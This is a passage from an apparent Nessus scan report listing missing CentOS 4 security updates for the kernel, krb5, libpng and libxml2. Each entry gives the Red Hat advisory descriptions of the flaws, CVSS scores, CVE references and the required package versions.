CVSS v2.0 Temporal Score

6.1 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	36576
BID	36706
BID	36723
BID	36824
CVE	CVE-2009-2910
CVE	CVE-2009-3613
CVE	CVE-2009-3620
CVE	CVE-2009-3621
XREF	RHSA:2009:1671
XREF	CWE:20
XREF	CWE:200
XREF	CWE:399

Plugin Information

Published: 2009/12/21, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : kernel-2.6.9-55.EL
Should be : kernel-2.6.9-89.0.18.EL

Remote package installed : kernel-devel-2.6.9-55.EL
Should be : kernel-devel-2.6.9-89.0.18.EL

Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
Should be : kernel-hugemem-devel-2.6.9-89.0.18.EL

Remote package installed : kernel-smp-devel-2.6.9-55.EL
Should be : kernel-smp-devel-2.6.9-89.0.18.EL
```

44395 - CentOS 4 : kernel (CESA-2010:0076)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that fix multiple security issues and three bugs are now available for Red Hat Enterprise Linux 4.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The kernel packages contain the Linux kernel, the core of any Linux operating system.

This update fixes the following security issues :

* an array index error was found in the gdth driver in the Linux kernel. A local user could send a specially crafted IOCTL request that would cause a denial of service or, possibly, privilege escalation.
(CVE-2009-3080, Important)

* a flaw was found in the collect_rx_frame() function in the HiSax ISDN driver (hfc_usb) in the Linux kernel. An attacker could use this flaw to send a specially crafted HDLC packet that could trigger a buffer out of bounds, possibly resulting in a denial of service.
(CVE-2009-4005, Important)

* permission issues were found in the megaraid_sas driver (for SAS based RAID controllers) in the Linux kernel. The 'dbg_lvl' and 'poll_mode_io' files on the sysfs file system ('/sys/') had world-writable permissions. This could allow local, unprivileged users to change the behavior of the driver. (CVE-2009-3889, CVE-2009-3939, Moderate)

* a buffer overflow flaw was found in the hfs_bnode_read() function in the HFS file system implementation in the Linux kernel. This could lead to a denial of service if a user browsed a specially crafted HFS file system, for example, by running 'ls'. (CVE-2009-4020, Low)

This update also fixes the following bugs :

* if a process was using ptrace() to trace a multi-threaded process, and that multi-threaded process dumped its core, the process performing the trace could hang in wait4(). This issue could be triggered by running 'strace -f' on a multi-threaded process that was dumping its core, resulting in the strace command hanging.
(BZ#555869)

* a bug in the ptrace() implementation could have, in some cases, caused ptrace_detach() to create a zombie process if the process being traced was terminated with a SIGKILL signal. (BZ#555869)

* the RHSA-2010:0020 update resolved an issue (CVE-2009-4537) in the Realtek r8169 Ethernet driver. This update implements a better solution for that issue.
Note: This is not a security regression. The original fix was complete. This update is adding the official upstream fix. (BZ#556406)

Users should upgrade to these updated packages, which contain backported patches to correct these issues. The system must be rebooted for this update to take effect.

See Also

<http://www.nessus.org/u?81ade6c7>
<http://www.nessus.org/u?94785d9f>

Solution

Update the affected kernel packages.

Risk Factor

High

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

6.8 (CVSS2#E:ND/RL:OF/RC:C)

References

BID	37019
BID	37036
BID	37068
CVE	CVE-2009-3080
CVE	CVE-2009-3889
CVE	CVE-2009-3939
CVE	CVE-2009-4005
CVE	CVE-2009-4020
XREF	RHSA:2010:0076
XREF	CWE:119
XREF	CWE:264

Plugin Information

Published: 2010/02/05, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : kernel-2.6.9-55.EL
 Should be : kernel-2.6.9-89.0.20.EL

Remote package installed : kernel-devel-2.6.9-55.EL
 Should be : kernel-devel-2.6.9-89.0.20.EL

Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
 Should be : kernel-hugemem-devel-2.6.9-89.0.20.EL

Remote package installed : kernel-smp-devel-2.6.9-55.EL
 Should be : kernel-smp-devel-2.6.9-89.0.20.EL

45091 - CentOS 4 : kernel (CESA-2010:0146)**Synopsis**

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that fix multiple security issues and several bugs are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having important security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

The kernel packages contain the Linux kernel, the core of any Linux operating system.

This update fixes the following security issues :

* a NULL pointer dereference flaw was found in the sctp_rcv_ootb() function in the Linux kernel Stream Control Transmission Protocol (SCTP) implementation. A remote attacker could send a specially crafted SCTP packet to a target system, resulting in a denial of service. (CVE-2010-0008, Important)

* a NULL pointer dereference flaw was found in the Linux kernel.

During a core dump, the kernel did not check if the Virtual Dynamically-linked Shared Object page was accessible. On Intel 64 and AMD64 systems, a local, unprivileged user could use this flaw to cause a kernel panic by running a crafted 32-bit application. (CVE-2009-4271, Important)

* an information leak was found in the print_fatal_signal() implementation in the Linux kernel. When '/proc/sys/kernel/print-fatal-signals' is set to 1 (the default value is 0), memory that is reachable by the kernel could be leaked to user-space. This issue could also result in a system crash. Note that this flaw only affected the i386 architecture. (CVE-2010-0003, Moderate)

* on AMD64 systems, it was discovered that the kernel did not ensure the ELF interpreter was available before making a call to the SET_PERSONALITY macro. A local attacker could use this flaw to cause a denial of service by running a 32-bit application that attempts to execute a 64-bit application. (CVE-2010-0307, Moderate)

* missing capability checks were found in the ebtables implementation, used for creating an Ethernet bridge firewall. This could allow a local, unprivileged user to bypass intended capability restrictions and modify ebtables rules. (CVE-2010-0007, Low)

This update also fixes the following bugs :

* under some circumstances, a locking bug could have caused an online ext3 file system resize to deadlock, which may have, in turn, caused the file system or the entire system to become unresponsive. In either case, a reboot was required after the deadlock. With this update, using resize2fs to perform an online resize of an ext3 file system works as expected. (BZ#553135)

* some ATA and SCSI devices were not honoring the barrier=1 mount option, which could result in data loss after a crash or power loss.

This update applies a patch to the Linux SCSI driver to ensure ordered write caching. This solution does not provide cache flushes; however, it does provide data integrity on devices that have no write caching (or where write caching is disabled) and no command queuing. For systems that have command queuing or write cache enabled there is no guarantee of data integrity after a crash. (BZ#560563)

* it was found that lpfc_find_target() could loop continuously when scanning a list of nodes due to a missing spinlock. This missing spinlock allowed the list to be changed after the list_empty() test, resulting in a NULL value, causing the loop. This update adds the spinlock, resolving the issue. (BZ#561453)

* the fix for CVE-2009-4538 provided by RHSA-2010:0020 introduced a regression, preventing Wake on LAN (WoL) working for network devices using the Intel PRO/1000 Linux driver, e1000e. Attempting to configure WoL for such devices resulted in the following error, even when configuring valid options :

'Cannot set new wake-on-lan settings: Operation not supported not setting wol'

This update resolves this regression, and WoL now works as expected for network devices using the e1000e driver. (BZ#565496)

Users should upgrade to these updated packages, which contain backported patches to correct these issues. The system must be rebooted for this update to take effect.

See Also

<http://www.nessus.org/u?f315749b>
<http://www.nessus.org/u?e44dbefb>

Solution

Update the affected kernel packages.

Risk Factor

High

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

6.1 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	37724
BID	37762
BID	38027
CVE	CVE-2009-4271
CVE	CVE-2010-0003
CVE	CVE-2010-0007
CVE	CVE-2010-0008
CVE	CVE-2010-0307
XREF	RHSA:2010:0146
XREF	CWE:200
XREF	CWE:264

Plugin Information

Published: 2010/03/19, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : kernel-2.6.9-55.EL
Should be : kernel-2.6.9-89.0.23.EL
```

```
Remote package installed : kernel-devel-2.6.9-55.EL
Should be : kernel-devel-2.6.9-89.0.23.EL
```

```
Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
Should be : kernel-hugemem-devel-2.6.9-89.0.23.EL
```

```
Remote package installed : kernel-smp-devel-2.6.9-55.EL
Should be : kernel-smp-devel-2.6.9-89.0.23.EL
```

46256 - CentOS 4 : kernel (CESA-2010:0394)**Synopsis**

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that fix multiple security issues, several bugs, and add three enhancements are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having important security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

The kernel packages contain the Linux kernel, the core of any Linux operating system.

Security fixes :

- * RHSA-2009:1024 introduced a flaw in the ptrace implementation on Itanium systems. `ptrace_check_attach()` was not called during certain `ptrace()` requests. Under certain circumstances, a local, unprivileged user could use this flaw to call `ptrace()` on a process they do not own, giving them control over that process. (CVE-2010-0729, Important)

- * a flaw was found in the kernel's Unidirectional Lightweight Encapsulation (ULE) implementation. A remote attacker could send a specially crafted ISO MPEG-2 Transport Stream (TS) frame to a target system, resulting in a denial of service. (CVE-2010-1086, Important)

- * a use-after-free flaw was found in `tcp_rcv_state_process()` in the kernel's TCP/IP protocol suite implementation. If a system using IPv6 had the IPV6_RECVPKTINFO option set on a listening socket, a remote attacker could send an IPv6 packet to that system, causing a kernel panic. (CVE-2010-1188, Important)

- * a divide-by-zero flaw was found in `azx_position_ok()` in the Intel High Definition Audio driver, `snd-hda-intel`. A local, unprivileged user could trigger this flaw to cause a denial of service. (CVE-2010-1085, Moderate)

- * an information leak flaw was found in the kernel's USB implementation. Certain USB errors could result in an uninitialized kernel buffer being sent to user-space. An attacker with physical access to a target system could use this flaw to cause an information leak. (CVE-2010-1083, Low)

Red Hat would like to thank Ang Way Chuang for reporting CVE-2010-1086.

Bug fixes :

- * a regression prevented the Broadcom BCM5761 network device from working when in the first (top) PCI-E slot of Hewlett-Packard (HP) Z600 systems. Note: The card worked in the 2nd or 3rd PCI-E slot. (BZ#567205)

- * the Xen hypervisor supports 168 GB of RAM for 32-bit guests. The physical address range was set incorrectly, however, causing 32-bit, para-virtualized Red Hat Enterprise Linux 4.8 guests to crash when launched on AMD64 or Intel 64 hosts that have more than 64 GB of RAM. (BZ#574392)

- * RHSA-2009:1024 introduced a regression, causing `diskdump` to fail on systems with certain adapters using the `qla2xxx` driver. (BZ#577234)

- * a race condition caused TX to stop in a guest using the `virtio_net` driver. (BZ#580089)

- * on some systems, using the '`arp_validate=3`' bonding option caused both links to show as 'down' even though the `arp_target` was responding to ARP requests sent by the bonding driver. (BZ#580842)

- * in some circumstances, when a Red Hat Enterprise Linux client connected to a re-booted Windows-based NFS server, server-side filehandle-to-inode mapping changes caused a kernel panic.

'`bad_inode_ops`' handling was changed to prevent this. Note:

filehandle-to-inode mapping changes may still cause errors, but not panics. (BZ#582908)

- * when installing a Red Hat Enterprise Linux 4 guest via PXE, hard-coded fixed-size scatterlists could conflict with host requests, causing the guest's kernel to panic. With this update, dynamically allocated scatterlists are used, resolving this issue. (BZ#582911)

Enhancements :

- * kernel support for `connlimit`. Note: `iptables` errata update RHBA-2010:0395 is also required for `connlimit` to work correctly. (BZ#563223)

- * support for the Intel architectural performance monitoring subsystem (`arch_perfmon`). On supported CPUs, `arch_perfmon` offers means to mark performance events and options for configuring and counting these events. (BZ#582913)

- * kernel support for OProfile sampling of Intel microarchitecture (Nehalem) CPUs. This update alone does not address OProfile support for such CPUs. A future oprofile package update will allow OProfile to work on Intel Nehalem CPUs. (BZ#582241)

Users should upgrade to these updated packages, which contain backported patches to correct these issues and add these enhancements. The system must be rebooted for this update to take effect.

See Also

<http://www.nessus.org/u?1bd51e5a>
<http://www.nessus.org/u?56f1b02f>

Solution

Update the affected kernel packages.

Risk Factor

High

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

5.8 (CVSS2#E:U/RL:OF/RC:C)

References

BID	38348
BID	38479
BID	38702
BID	39016
BID	39042
CVE	CVE-2010-0729
CVE	CVE-2010-1083
CVE	CVE-2010-1085
CVE	CVE-2010-1086
CVE	CVE-2010-1188
XREF	RHSA:2010:0394

Plugin Information

Published: 2010/05/10, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : kernel-2.6.9-55.EL
Should be : kernel-2.6.9-89.0.25.EL
```

```
Remote package installed : kernel-devel-2.6.9-55.EL
Should be : kernel-devel-2.6.9-89.0.25.EL
```

```
Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
Should be : kernel-hugemem-devel-2.6.9-89.0.25.EL
```

```
Remote package installed : kernel-smp-devel-2.6.9-55.EL
Should be : kernel-smp-devel-2.6.9-89.0.25.EL
```

48408 - CentOS 4 : kernel (CESA-2010:0474)**Synopsis**

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that fix three security issues and several bugs are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having important security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

The kernel packages contain the Linux kernel, the core of any Linux operating system.

Security fixes :

* a NULL pointer dereference flaw was found in the Linux kernel NFSv4 implementation. Several of the NFSv4 file locking functions failed to check whether a file had been opened on the server before performing locking operations on it. A local, unprivileged user on a system with an NFSv4 share mounted could possibly use this flaw to cause a kernel panic (denial of service) or escalate their privileges.
(CVE-2009-3726, Important)

* a flaw was found in the sctp_process_unk_param() function in the Linux kernel Stream Control Transmission Protocol (SCTP) implementation. A remote attacker could send a specially crafted SCTP packet to an SCTP listening port on a target system, causing a kernel panic (denial of service). (CVE-2010-1173, Important)

* a race condition between finding a keyring by name and destroying a freed keyring was found in the Linux kernel key management facility. A local, unprivileged user could use this flaw to cause a kernel panic (denial of service) or escalate their privileges. (CVE-2010-1437, Important)

Red Hat would like to thank Simon Vallet for responsibly reporting CVE-2009-3726; and Jukka Taimisto and Olli Jarva of Codenomicon Ltd, Nokia Siemens Networks, and Wind River on behalf of their customer, for responsibly reporting CVE-2010-1173.

Bug fixes :

* RHBA-2007:0791 introduced a regression in the Journaling Block Device (JBD). Under certain circumstances, removing a large file (such as 300 MB or more) did not result in inactive memory being freed, leading to the system having a large amount of inactive memory. Now, the memory is correctly freed. (BZ#589155)

* the timer_interrupt() routine did not scale lost real ticks to logical ticks correctly, possibly causing time drift for 64-bit Red Hat Enterprise Linux 4 KVM (Kernel-based Virtual Machine) guests that were booted with the 'divider=x' kernel parameter set to a value greater than 1. 'warning: many lost ticks' messages may have been logged on the affected guest systems. (BZ#590551)

* a bug could have prevented NFSv3 clients from having the most up-to-date file attributes for files on a given NFSv3 file system. In cases where a file type changed, such as if a file was removed and replaced with a directory of the same name, the NFSv3 client may not have noticed this change until stat(2) was called (for example, by running 'ls -l'). (BZ#596372)

* RHBA-2007:0791 introduced bugs in the Linux kernel PCI-X subsystem.

These could have caused a system deadlock on some systems where the BIOS set the default Maximum Memory Read Byte Count (MMRBC) to 4096, and that also use the Intel PRO/1000 Linux driver, e1000. Errors such as 'e1000: eth[x]: e1000_clean_tx_irq: Detected Tx Unit Hang' were logged. (BZ#596374)

* an out of memory condition in a KVM guest, using the virtio-net network driver and also under heavy network stress, could have resulted in that guest being unable to receive network traffic. Users had to manually remove and re-add the virtio_net module and restart the network service before networking worked as expected. Such memory conditions no longer prevent KVM guests receiving network traffic. (BZ#597310)

* when an SFQ qdisc that limited the queue size to two packets was added to a network interface, sending traffic through that interface resulted in a kernel crash. Such a qdisc no longer results in a kernel crash. (BZ#597312)

* when an NFS client opened a file with the O_TRUNC flag set, it received a valid stateid, but did not use that stateid to perform the SETATTR call. Such cases were rejected by Red Hat Enterprise Linux 4 NFS servers with an 'NFS4ERR_BAD_STATEID' error, possibly preventing some NFS clients from writing files to an NFS file system. (BZ#597314)

Users should upgrade to these updated packages, which contain backported patches to correct these issues. The system must be rebooted for this update to take effect.

See Also

<http://www.nessus.org/u?cfe1d0ae>
<http://www.nessus.org/u?b9ab9c99>

Solution

Update the affected kernel packages.

Risk Factor

High

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

6.1 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	36936
BID	39719
BID	39794
CVE	CVE-2009-3726
CVE	CVE-2010-1173
CVE	CVE-2010-1437
XREF	RHSA:2010:0474
XREF	CWE:399

Plugin Information

Published: 2010/08/24, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : kernel-2.6.9-55.EL
Should be : kernel-2.6.9-89.0.26.EL

Remote package installed : kernel-devel-2.6.9-55.EL
Should be : kernel-devel-2.6.9-89.0.26.EL

Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
Should be : kernel-hugemem-devel-2.6.9-89.0.26.EL

Remote package installed : kernel-smp-devel-2.6.9-55.EL
Should be : kernel-smp-devel-2.6.9-89.0.26.EL
```

49179 - CentOS 4 : kernel (CESA-2010:0676)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that fix one security issue are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having important security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

The kernel packages contain the Linux kernel, the core of any Linux operating system.

This update fixes the following security issue :

* When an application has a stack overflow, the stack could silently overwrite another memory mapped area instead of a segmentation fault occurring, which could cause an application to execute arbitrary code, possibly leading to privilege escalation. It is known that the X Window System server can be used to trigger this flaw. (CVE-2010-2240, Important)

Red Hat would like to thank the X.Org security team for reporting this issue. Upstream acknowledges Rafal Wojtczuk as the original reporter.

Users should upgrade to these updated packages, which contain backported patches to correct this issue. The system must be rebooted for this update to take effect.

See Also

<http://www.nessus.org/u?a132f653>
<http://www.nessus.org/u?0ce6c09a>

Solution

Update the affected kernel packages.

Risk Factor

High

CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

6.3 (CVSS2#E:ND/RL:OF/RC:C)

References

BID	42505
CVE	CVE-2010-2240
XREF	RHSA:2010:0676

Plugin Information

Published: 2010/09/12, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : kernel-2.6.9-55.EL
Should be : kernel-2.6.9-89.0.29.EL
```

```
Remote package installed : kernel-devel-2.6.9-55.EL
```

Should be : kernel-devel-2.6.9-89.0.29.EL

Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
Should be : kernel-hugemem-devel-2.6.9-89.0.29.EL

Remote package installed : kernel-smp-devel-2.6.9-55.EL
Should be : kernel-smp-devel-2.6.9-89.0.29.EL

49713 - CentOS 4 : kernel (CESA-2010:0718)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that fix one security issue are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having important security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

The kernel packages contain the Linux kernel, the core of any Linux operating system.

This update fixes the following security issue :

* The compat_alloc_user_space() function in the Linux kernel 32/64-bit compatibility layer implementation was missing sanity checks. This function could be abused in other areas of the Linux kernel if its length argument can be controlled from user-space. On 64-bit systems, a local, unprivileged user could use this flaw to escalate their privileges. (CVE-2010-3081, Important)

Red Hat would like to thank Ben Hawkes for reporting this issue.

Refer to Knowledgebase article DOC-40265 for further details:

<https://access.redhat.com/kb/docs/DOC-40265>

Users should upgrade to these updated packages, which contain a backported patch to correct this issue. The system must be rebooted for this update to take effect.

See Also

<http://www.nessus.org/u?23403fe6>

<http://www.nessus.org/u?5de8beb8>

Solution

Update the affected kernel packages.

Risk Factor

High

CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:I/I/A:C)

CVSS v2.0 Temporal Score

5.6 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	43239
CVE	CVE-2010-3081
XREF	RHSA:2010:0718

Exploitable With

Core Impact (true)

Plugin Information

Published: 2010/10/06, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : kernel-2.6.9-55.EL
Should be : kernel-2.6.9-89.29.1.EL

```
Remote package installed : kernel-devel-2.6.9-55.EL
Should be : kernel-devel-2.6.9-89.29.1.EL

Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
Should be : kernel-hugemem-devel-2.6.9-89.29.1.EL

Remote package installed : kernel-smp-devel-2.6.9-55.EL
Should be : kernel-smp-devel-2.6.9-89.29.1.EL
```

51775 - CentOS 4 : kernel (CESA-2010:0936)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that fix two security issues and multiple bugs are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having important security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

[Update 6 December 2010] The package list in this erratum has been updated to include the kernel-doc packages for the IA32 architecture.

The kernel packages contain the Linux kernel, the core of any Linux operating system.

Security fixes :

- * A flaw in sctp_packet_config() in the Linux kernel's Stream Control Transmission Protocol (SCTP) implementation could allow a remote attacker to cause a denial of service. (CVE-2010-3432, Important)

- * A missing integer overflow check in snd_ctl_new() in the Linux kernel's sound subsystem could allow a local, unprivileged user on a 32-bit system to cause a denial of service or escalate their privileges. (CVE-2010-3442, Important)

Red Hat would like to thank Dan Rosenberg for reporting CVE-2010-3442.

Bug fixes :

- * Forward time drift was observed on virtual machines using PM timer-based kernel tick accounting and running on KVM or the Microsoft Hyper-V Server hypervisor. Virtual machines that were booted with the divider=x kernel parameter set to a value greater than 1 and that showed the following in the kernel boot messages were subject to this issue :

time.c: Using PM based timekeeping

Fine grained accounting for the PM timer is introduced which eliminates this issue. However, this fix uncovered a bug in the Xen hypervisor, possibly causing backward time drift. If this erratum is installed in Xen HVM guests that meet the aforementioned conditions, it is recommended that the host use kernel-xen-2.6.18-194.26.1.el5 or newer, which includes a fix (BZ#641915) for the backward time drift. (BZ#629237)

- * With multipath enabled, systems would occasionally halt when the do_cciss_request function was used. This was caused by wrongly-generated requests. Additional checks have been added to avoid the aforementioned issue. (BZ#640193)

- * A Sun X4200 system equipped with a QLogic HBA spontaneously rebooted and logged a Hyper-Transport Sync Flood Error to the system event log. A Maximum Memory Read Byte Count restriction was added to fix this bug. (BZ#640919)

- * For an active/backup bonding network interface with VLANs on top of it, when a link failed over, it took a minute for the multicast domain to be rejoined. This was caused by the driver not sending any IGMP join packets. The driver now sends IGMP join packets and the multicast domain is rejoined immediately. (BZ#641002)

- * Replacing a disk and trying to rebuild it afterwards caused the system to panic. When a domain validation request for a hot plugged drive was sent, the mptscsi driver did not validate its existence.

This could result in the driver accessing random memory and causing the crash. A check has been added that describes the newly-added device and reloads the iocPg3 data from the firmware if needed.

(BZ#641137)

- * An attempt to create a VLAN interface on a bond of two bnx2 adapters in two switch configurations resulted in a soft lockup after a few seconds. This was caused by an incorrect use of a bonding pointer.

With this update, soft lockups no longer occur and creating a VLAN interface works as expected. (BZ#641254)

- * Erroneous pointer checks could have caused a kernel panic. This was due to a critical value not being copied when a network buffer was duplicated and consumed by multiple portions of the kernel's network stack. Fixing the copy operation resolved this bug. (BZ#642746)

- * A typo in a variable name caused it to be dereferenced in either mkdir() or create() which could cause a kernel panic. (BZ#643342)

* SCSI high level drivers can submit SCSI commands which would never be completed when the device was offline. This was caused by a missing callback for the request to complete the given command. SCSI requests are now terminated by calling their callback when a device is offline. (BZ#644816)

* A kernel panic could have occurred on systems due to a recursive lock in the 3c59x driver. Recursion is now avoided and this kernel panic no longer occurs. (BZ#648407)

Users should upgrade to these updated packages, which contain backported patches to correct these issues. The system must be rebooted for this update to take effect.

See Also

<http://www.nessus.org/u?1da3ccdb>
<http://www.nessus.org/u?13f97a97>

Solution

Update the affected kernel packages.

Risk Factor

High

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

5.8 (CVSS2#E:U/RL:OF/RC:C)

References

BID	43480
BID	43787
CVE	CVE-2010-3432
CVE	CVE-2010-3442
XREF	RHSA:2010:0936

Plugin Information

Published: 2011/01/28, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : kernel-2.6.9-55.EL
Should be : kernel-2.6.9-89.33.1.EL

Remote package installed : kernel-devel-2.6.9-55.EL
Should be : kernel-devel-2.6.9-89.33.1.EL

Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
Should be : kernel-hugemem-devel-2.6.9-89.33.1.EL

Remote package installed : kernel-smp-devel-2.6.9-55.EL
Should be : kernel-smp-devel-2.6.9-89.33.1.EL
```

31627 - CentOS 4 : krb5 (CESA-2008:0180)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated krb5 packages that fix multiple security issues are now available for Red Hat Enterprise Linux 4.

This update has been rated as having critical security impact by the Red Hat Security Response Team.

Kerberos is a network authentication system which allows clients and servers to authenticate to each other through use of symmetric encryption and a trusted third party, the KDC.

A flaw was found in the way the MIT Kerberos Authentication Service and Key Distribution Center server (krb5kdc) handled Kerberos v4 protocol packets. An unauthenticated remote attacker could use this flaw to crash the krb5kdc daemon, disclose portions of its memory, or possibly execute arbitrary code using malformed or truncated Kerberos v4 protocol requests. (CVE-2008-0062, CVE-2008-0063)

This issue only affected krb5kdc with Kerberos v4 protocol compatibility enabled, which is the default setting on Red Hat Enterprise Linux 4. Kerberos v4 protocol support can be disabled by adding 'v4_mode=none' (without the quotes) to the '[kdcdefaults]' section of /var/kerberos/krb5kdc/kdc.conf.

Red Hat would like to thank MIT for reporting these issues.

A double-free flaw was discovered in the GSSAPI library used by MIT Kerberos. This flaw could possibly cause a crash of the application using the GSSAPI library. (CVE-2007-5971)

All krb5 users are advised to update to these erratum packages which contain backported fixes to correct these issues.

See Also

<http://www.nessus.org/u?e25e9b2d>
<http://www.nessus.org/u?c62e5686>
<http://www.nessus.org/u?001dd4ab>

Solution

Update the affected krb5 packages.

Risk Factor

High

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

6.9 (CVSS2#E:U/RL:OF/RC:C)

References

BID	26750
BID	28303
CVE	CVE-2007-5971
CVE	CVE-2008-0062
CVE	CVE-2008-0063
XREF	RHSA:2008:0180
XREF	CWE:119
XREF	CWE:189
XREF	CWE:399

Plugin Information

Published: 2008/03/21, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : krb5-devel-1.3.4-47
Should be : krb5-devel-1.3.4-54.el4_6.1
```

```
Remote package installed : krb5-libs-1.3.4-47
Should be : krb5-libs-1.3.4-54.el4_6.1
```

```
Remote package installed : krb5-workstation-1.3.4-47
Should be : krb5-workstation-1.3.4-54.el4_6.1
```

43731 - CentOS 4 : libpng (CESA-2009:0333)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated libpng and libpng10 packages that fix a couple of security issues are now available for Red Hat Enterprise Linux 2.1, 4, and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

The libpng packages contain a library of functions for creating and manipulating PNG (Portable Network Graphics) image format files.

A flaw was discovered in libpng that could result in libpng trying to free() random memory if certain, unlikely error conditions occurred. If a carefully-crafted PNG file was loaded by an application linked against libpng, it could cause the application to crash or, potentially, execute arbitrary code with

the privileges of the user running the application. (CVE-2009-0040)

A flaw was discovered in the way libpng handled PNG images containing 'unknown' chunks. If an application linked against libpng attempted to process a malformed, unknown chunk in a malicious PNG image, it could cause the application to crash. (CVE-2008-1382)

Users of libpng and libpng10 should upgrade to these updated packages, which contain backported patches to correct these issues. All running applications using libpng or libpng10 must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?600d1851>
<http://www.nessus.org/u?512d1628>
<http://www.nessus.org/u?f865a397>

Solution

Update the affected libpng packages.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.5 (CVSS2#E:ND/RL:OF/RC:C)

References

BID	28770
BID	33827
CVE	CVE-2008-1382
CVE	CVE-2009-0040
XREF	RHSA:2009:0333
XREF	CWE:94
XREF	CWE:189

Plugin Information

Published: 2010/01/06, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : libpng-1.2.7-1.el4.2
Should be : libpng-1.2.7-3.el4_7.2
```

57486 - CentOS 4 : libxml2 (CESA-2012:0016)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated libxml2 packages that fix several security issues are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having important security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

The libxml2 library is a development toolbox providing the implementation of various XML standards. One of those standards is the XML Path Language (XPath), which is a language for addressing parts of an XML document.

A heap-based buffer overflow flaw was found in the way libxml2 decoded entity references with long names. A remote attacker could provide a specially crafted XML file that, when opened in an application linked against libxml2, would cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2011-3919)

An off-by-one error, leading to a heap-based buffer overflow, was found in the way libxml2 parsed certain XML files. A remote attacker could provide a specially crafted XML file that, when opened in an application linked against libxml2, would cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2011-0216)

A flaw was found in the way libxml2 parsed certain XPath expressions.

If an attacker were able to supply a specially crafted XML file to an application using libxml2, as well as an XPath expression for that application to run against the crafted file, it could cause the application to crash. (CVE-2011-2834)

Note: Red Hat does not ship any applications that use libxml2 in a way that would allow the CVE-2011-2834 flaw to be exploited; however, third-party applications may allow XPath expressions to be passed which could trigger this flaw.

An out-of-bounds memory read flaw was found in libxml2. A remote attacker could provide a specially crafted XML file that, when opened in an application linked against libxml2, would cause the application to crash. (CVE-2011-3905)

All users of libxml2 are advised to upgrade to these updated packages, which contain backported patches to correct these issues. The desktop must be restarted (log out, then log back in) for this update to take effect.

See Also

<http://www.nessus.org/u?af976a57>

Solution

Update the affected libxml2 packages.

Risk Factor

High

CVSS v2.0 Base Score

